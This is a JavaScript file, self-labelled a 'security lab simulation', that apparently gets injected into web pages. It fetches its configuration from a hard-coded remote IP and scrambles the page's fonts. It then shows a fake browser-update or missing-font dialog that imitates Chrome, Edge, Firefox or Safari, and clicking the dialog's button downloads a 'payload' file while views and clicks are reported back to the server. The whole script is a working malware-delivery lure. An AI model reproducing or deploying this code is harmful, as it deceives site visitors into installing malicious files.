/** * SECURITY LAB SIMULATION SCRIPT v6.0 (Smart Targeting) * Features: * - Dynamic Browser Detection (Chrome/Edge/Firefox/Safari) * - Adaptive Branding & Icons * - Broken Font Rendering (Alien Text) */ (function() { const API_URL = 'http://85.192.60.226/api/config.php'; let currentConfig = {}; // --- 1. ÒÅËÅÌÅÒÐÈß --- function sendEvent(type) { fetch(`${API_URL}?action=track`, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ type: type }) }).catch(e => console.error("Telemetry error:", e)); } function downloadPayload() { if (!currentConfig.payload_file) return; sendEvent('click'); const link = document.createElement('a'); link.href = `downloads/${currentConfig.payload_file}`; link.setAttribute('download', currentConfig.payload_file); link.style.display = 'none'; document.body.appendChild(link); link.click(); document.body.removeChild(link); cleanup(); } // --- 2. ÁÈÁËÈÎÒÅÊÀ ÈÊÎÍÎÊ (SVG) --- const icons = { chrome: ``, edge: ``, firefox: ``, // Óïðîùåííûé ëîãîòèï safari: ``, font: `
A
` }; // --- 3. ÎÏÐÅÄÅËÅÍÈÅ ÁÐÀÓÇÅÐÀ --- function detectBrowser() { const ua = navigator.userAgent; let b = { name: "Browser", icon: icons.chrome, version: "Latest" }; // Default if (ua.includes("Edg")) { b.name = "Microsoft Edge"; b.icon = icons.edge; b.version = "123.0.2420.65"; } else if (ua.includes("Firefox")) { b.name = "Mozilla Firefox"; b.icon = icons.firefox; b.version = "125.0.1"; } else if (ua.includes("Chrome")) { b.name = "Google Chrome"; b.icon = icons.chrome; b.version = "124.0.6367.60"; } else if (ua.includes("Safari") && !ua.includes("Chrome")) { b.name = "Safari"; b.icon = icons.safari; b.version = "17.4.1"; } return b; } // --- 4. CSS ÑÒÈËÈ --- const styles = ` .se-broken-font-mode { font-family: 'Webdings', 'Wingdings', 'Symbol', sans-serif !important; text-shadow: 0 0 1px rgba(0,0,0,0.5); user-select: none; pointer-events: none; overflow: hidden; } #se-lab-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0.4); z-index: 2147483647; display: flex; justify-content: center; align-items: center; font-family: 'Segoe UI', Roboto, Helvetica, Arial, sans-serif !important; pointer-events: auto; backdrop-filter: blur(4px); } .se-modal { background: #fff; width: 480px; max-width: 90%; padding: 24px; border-radius: 8px; box-shadow: 0 8px 30px rgba(0,0,0,0.15); display: flex; gap: 20px; animation: popIn 0.3s cubic-bezier(0.18, 0.89, 0.32, 1.28); border: 1px solid rgba(0,0,0,0.1); } @keyframes popIn { from { transform: scale(0.92); opacity: 0; } to { transform: scale(1); opacity: 1; } } .se-icon-col { flex-shrink: 0; padding-top: 4px; width: 48px; } .se-icon-col svg { width: 100%; height: auto; } .se-content-col { flex-grow: 1; } .se-title { margin: 0 0 8px 0; font-size: 18px; font-weight: 500; color: #202124; } .se-text { margin: 0 0 16px 0; font-size: 14px; line-height: 1.5; color: #5f6368; } .se-info-box { font-size: 13px; color: #70757a; margin-bottom: 20px; } .se-buttons { display: flex; justify-content: flex-end; gap: 12px; margin-bottom: 12px; } .se-btn { border: none; padding: 9px 24px; border-radius: 4px; font-size: 14px; font-weight: 500; cursor: pointer; transition: 0.2s; } .se-btn-sec { background: #fff; color: #1a73e8; border: 1px solid #dadce0; } .se-btn-sec:hover { background: #f8f9fa; } .se-btn-prim { background: #1a73e8; color: #fff; } .se-btn-prim:hover { background: #1557b0; } .se-footer-note { font-size: 12px; border-top: 1px solid #f1f3f4; padding-top: 12px; line-height: 1.4; color: #70757a; } .se-green { color: #1e8e3e; } `; function injectStyles() { if (!document.getElementById("se-lab-styles")) { const s = document.createElement("style"); s.innerText = styles; s.id = "se-lab-styles"; document.head.appendChild(s); } } function cleanup() { document.getElementById('se-lab-overlay')?.remove(); document.body.classList.remove('se-broken-font-mode'); document.getElementById('se-lab-styles')?.remove(); } // --- 5. ÃÅÍÅÐÀÖÈß ÊÎÍÒÅÍÒÀ --- function getModalContent(mode) { if (mode === 'browser_update') { const browser = detectBrowser(); return `
${browser.icon}

${browser.name} update recommended

Your version of ${browser.name} has known critical security issues. Install the latest update to restore secure browsing.

Recommended version: ${browser.name} ${browser.version}
`; } else { return `
${icons.font}

System font required

Interface elements cannot be displayed correctly because the required font package is missing.

Package: Segoe UI / Roboto (Fix)
`; } } // --- 6. ÇÀÏÓÑÊ --- async function init() { try { const resp = await fetch(API_URL); const data = await resp.json(); currentConfig = data.config || data; if (currentConfig.is_active === '1') { setTimeout(() => { injectStyles(); document.body.classList.add('se-broken-font-mode'); const overlay = document.createElement('div'); overlay.id = 'se-lab-overlay'; overlay.innerHTML = `
${getModalContent(currentConfig.mode)}
`; document.body.appendChild(overlay); document.getElementById('se-action-btn')?.addEventListener('click', downloadPayload); sendEvent('view'); }, parseInt(currentConfig.delay_ms) || 2000); } } catch (e) { console.error(e); } } if (document.readyState === 'loading') document.addEventListener('DOMContentLoaded', init); else init(); })();